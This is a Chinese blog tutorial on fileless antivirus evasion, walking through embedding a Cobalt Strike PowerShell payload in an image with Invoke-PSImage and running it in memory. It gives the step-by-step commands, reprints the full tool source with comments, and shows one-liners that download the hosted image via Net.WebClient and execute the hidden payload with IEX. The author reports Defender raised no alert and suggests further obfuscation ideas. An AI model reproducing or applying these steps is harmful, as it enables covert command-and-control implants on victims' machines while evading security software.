无文件落地免杀的初尝试思考(上)
作者:admin | 时间:2022-5-29 02:11:27 | 分类:黑客技术 隐藏侧边栏展开侧边栏
0X00免杀基础
无文件落地免杀是什么?
答:无文件顾名思义,就是无需将payload文件传到目标服务器中,攻击者可以直接利用powershell(或者其他解析器)的加载payload到内存中执行。它不光可以使攻击者更加隐蔽的进行攻击以及后续的横向移动,同时还可以解决目标不出网只能通过DNS上线时的棘手问题,操作还更加方便
补充:无文件落地的免杀分为两大类:一类是出网的情况,另一类是不出网情况
解析器是什么?有哪些种类?
答:解析器一般是指在windows环境下的能执行脚本或命令的组件;我们在利用解析器的时候可以根据攻击时利用的脚本类型进行选择,eg:
powershell====>powershell.exe
;VB.script====>cscript.exe
;bat命令 ====>cmd.exe
;javaSrtipt====>mshta.exe
0X01 技术验证
准备条件
一张大于等于1920*1200的图片(因为要把payload代码插入图片中,像素小了不够存放)
cobalt Strike渗透工具(版本要求不大)
Invoke-psimage脚本(这是这次免杀的关键,我们稍后分析)
payload的生成
第一步:使用CS生成.psl的payload
利用脚本进行免杀
我们可以通过git命令,将脚本下载下来git clone https://github.com/AV1080p/Invoke-PSImage.git
;然后将CS生成.psl的payload,放入Invoke-psimage这个脚本的文件夹中即可
紧接着在Invoke-psimage的文件夹中,打开powershell,输入以下两条命令:
Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script .\payload.ps1 -Image .\123.jpg -Out 456.jpg -Web
这里会生成一段payload代码,我们将这段代码,复制到一个.txt文本文件中,我们观察该文件发现;通过.OpenRead(http://xxxxxx)
我们可以知道,应该修改该内容,使得cs可以远程控制它
小提示:在windows环境下配置,我这里因为某些原因是在靶机上配置而成(因为是小白教程,所以考虑大家都是第一次通过powershell配置脚本,大概率会出现下面报错)
PS C:\Users\yuu\Desktop\Invoke-PSImage>Import-Module . \Invoke-PSImage.ps1 PS C:\Users\yuu\Desktop\Invoke-PSImage>Invoke-PSImage -Script . Jpayioad.ps1 -Image . \123. jpg -Out 456.jgWeb
如果出现报错;可以使用powershell管理员打开,后输入set-executionpolicy remotesigned,等待片刻选择Y即可
payload与cs联动
我们把456.jpg图片放入CS中,后打开Host File模块进行链接的制作
最后我们可以看见,联动的链接已经生成;我们把它放入.txt文本文件中代替原来的链接,并保存
免杀验证
我们将.txt里面的payload放入powershell中运行,我们通过CS可以发现主机上线,且def没有警告
0X02 Invoke-PSImage.ps1脚本的技术分析
我们把该脚本复制下来,进行分析,看看它使用了哪些方法,以及未来我们可以怎么修改它...以达到不会被更新的杀毒软件查杀的效果。接下来我们把脚本分成两个部分进行解读,第一部分是作者的解释,第二部分是免杀代码,第一部分是教学,即如何使用脚本,并说明脚本原理
function Invoke-PSImage { <# .SYNOPSIS(概要) 在图像中嵌入 PowerShell 脚本并生成 oneliner 来执行它 作者:Barrett Adams(@peewpw) .DESCRIPTION(描述) 该工具既可以仅使用目标数据创建图像,也可以将有效负载嵌入现有图像。嵌入时2个颜色值(RGB的2个)的最低有效4位每个像素(有效载荷所需的像素数)。图像质量将受到影响结果,但它看起来仍然不错。图像保存为PNG,并且可以无损压缩而不影响执行有效载荷的能力,因为数据存储在给自己上色。它可以接受大多数图像类型作为输入,但输出始终是PNG因为它需要是无损的 .PARAMETER Script(参数脚本) 要嵌入到图像中的脚本的路径。 .PARAMETER Out(参数输出) 将生成的图像保存到的文件(图像会是PNG) .PARAMETER Image(参数图像) 嵌入脚本的图像(可选) .PARAMETER WebRequest(参数 WebRequest) 使用 Net.WebClient 输出用于从 Web 读取图像的命令;将需要托管图像并将 URL 插入命令中 .EXAMPLER PictureBox(参数图片框) 使用System.Windows.Forms.PictureBox输出用于从Web读取图像的命令;您将需要托管图像并将URL插入命令中 .EXAMPLE(事列) PS>Import-Module .\Invoke-PSImage.ps1 PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg [从文件执行的 Oneliner] #>
接下来看第二部分代码,分析里面的免杀技巧
[CmdletBinding()] Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Script, [Parameter(Position = 1, Mandatory = $True)] [String] $Out, [Parameter(Position = 2, Mandatory = $False)] [String] $Image, [switch] $WebClient, [switch] $PictureBox ) #如果我们遇到错误就停止而不是犯更多错误 $ErrorActionPreference = "Stop" #加载一些程序集 [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing") [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Web") #规范化路径,因为 powershell 有时对它们不好 if (-Not [System.IO.Path]::IsPathRooted($Script)){ $Script = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Script)) } if (-Not [System.IO.Path]::IsPathRooted($Out)){ $Out = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Out)) } $testurl = "http://example.com/" + [System.IO.Path]::GetFileName($Out) #读脚本 $ScriptBlockString = [IO.File]::ReadAllText($Script) $in = [ScriptBlock]::Create($ScriptBlockString) $payload = [system.Text.Encoding]::ASCII.GetBytes($in) if ($Image) { #规范化路径 if (-Not [System.IO.Path]::IsPathRooted($Image)){ $Image = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Image)) } #将读人的图像放入"位图" $img = New-Object System.Drawing.Bitmap($Image) $width = $img.Size.Width $height = $img.Size.Height #将位图锁定在内存中,以便可以通过编程方式对其进行更改 $rect = New-Object System.Drawing.Rectangle(0, 0, $width, $height); $bmpData = $img.LockBits($rect, [System.Drawing.Imaging.ImageLockMode]::ReadWrite, $img.PixelFormat) $ptr = $bmpData.Scan0 #将RGB值复制到数组中以便于修改 $bytes = [Math]::Abs($bmpData.Stride) * $img.Height $rgbValues = New-Object byte[] $bytes; [System.Runtime.InteropServices.Marshal]::Copy($ptr, $rgbValues, 0, $bytes); #检查有效载荷是否适合图像 if($bytes/2 -lt $payload.Length) { Write-Error "Image not large enough to contain payload!" $img.UnlockBits($bmpData) $img.Dispose() Break } #生成一个随机字符串用于填充图片中的其他像素信息 # (每次调用get-random太慢了) $randstr = [System.Web.Security.Membership]::GeneratePassword(128,0) $randb = [system.Text.Encoding]::ASCII.GetBytes($randstr) #循环遍历RGB数组并将有效负载复制到其中 for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) { if ($counter -lt $payload.Length){ $paybyte1 = [math]::Floor($payload[$counter]/16) $paybyte2 = ($payload[$counter] -band 0x0f) $paybyte3 = ($randb[($counter+2)%109] -band 0x0f) } else { $paybyte1 = ($randb[$counter%113] -band 0x0f) $paybyte2 = ($randb[($counter+1)%67] -band 0x0f) $paybyte3 = ($randb[($counter+2)%109] -band 0x0f) } $rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1 $rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2 $rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3 } #将RGB值数组复制回位图 [System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $bytes) $img.UnlockBits($bmpData) #将图像写入文件 $img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png) $img.Dispose() #得到一堆我们需要在oneliner中使用的数字 $rows = [math]::Ceiling($payload.Length/$width) $array = ($rows*$width) $lrows = ($rows-1) $lwidth = ($width-1) $lpayload = ($payload.Length-1) if($WebClient) { $pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead(`"$testurl`"));`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))" } elseif($PictureBox) { $pscmd = "sal a New-Object;Add-Type -A System.Windows.Forms;(`$d=a System.Windows.Forms.PictureBox).Load(`"$testurl`");`$g=`$d.Image;`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))" } else { $pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap(`"$Out`");`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G-band15))}};`$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))" } return $pscmd } else { # 决定我们的图像需要多大(为了方便数学,总是正方形) $side = ([int] ([math]::ceiling([math]::Sqrt([math]::ceiling($payload.Length / 3)) + 3) / 4)) * 4 # 决定我们的图像需要多大(为了方便数学,总是正方形) $rgbValues = New-Object byte[] ($side * $side * 3); $randstr = [System.Web.Security.Membership]::GeneratePassword(128,0) $randb = [system.Text.Encoding]::ASCII.GetBytes($randstr) #循环遍历 RGB 数组并将有效负载复制到其中 for ($counter = 0; $counter -lt ($rgbValues.Length); $counter++) { if ($counter -lt $payload.Length){ $rgbValues[$counter] = $payload[$counter] } else { $rgbValues[$counter] = $randb[$counter%113] } } #将RGB值数组复制回位图 $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($rgbValues.Length) [System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $rgbValues.Length) $img = New-Object System.Drawing.Bitmap($side, $side, ($side*3), [System.Drawing.Imaging.PixelFormat]::Format24bppRgb, $ptr) #将图像写入文件 $img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png) $img.Dispose() [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ptr); #得到一堆我们需要在oneliner中使用的数字 $array = ($side*$side)*3 $lrows = ($side-1) $lwidth = ($side-1) $width = ($side) $lpayload = ($payload.Length-1) if($WebClient) { $pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead(`"$testurl`"));`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))" } elseif($PictureBox) { $pscmd = "sal a New-Object;Add-Type -A System.Windows.Forms;(`$d=a System.Windows.Forms.PictureBox).Load(`"$testurl`");`$g=`$d.Image;`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))" } else { $pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap(`"$Out`");`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};`$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))" } return $pscmd }
关于如何调用函数,调用了那些函数,函数的调用方式及可替代函数这部分,个人能力有限,等一段时间沉淀后会更新《无文件落地免杀的初尝试思考(下)》,希望不会让大家等太久。
0X03文章总结
我们通过Barrett Adams师傅GitHub里面的代码分析,我们发现免杀的本质还是加密与混淆;我们通过底层函数的调用与"位图"的RNG隐藏躲避了def检测,那我们把这个数据流在进行Base64加密后执行呢?我们把这个数字流通过”+“或者函数拼接呢?又或者我们改用其他不那么敏感的函数调用呢?或者用音频或者视频隐写呢?
最后,感谢大家的观阅,本文是根据格林师傅在B站上的教学视频,有感而发写成;因为笔者也是初次尝试无文件落地免杀,所以难免有一些疏漏。如果存在问题,欢迎大家在评论区指正。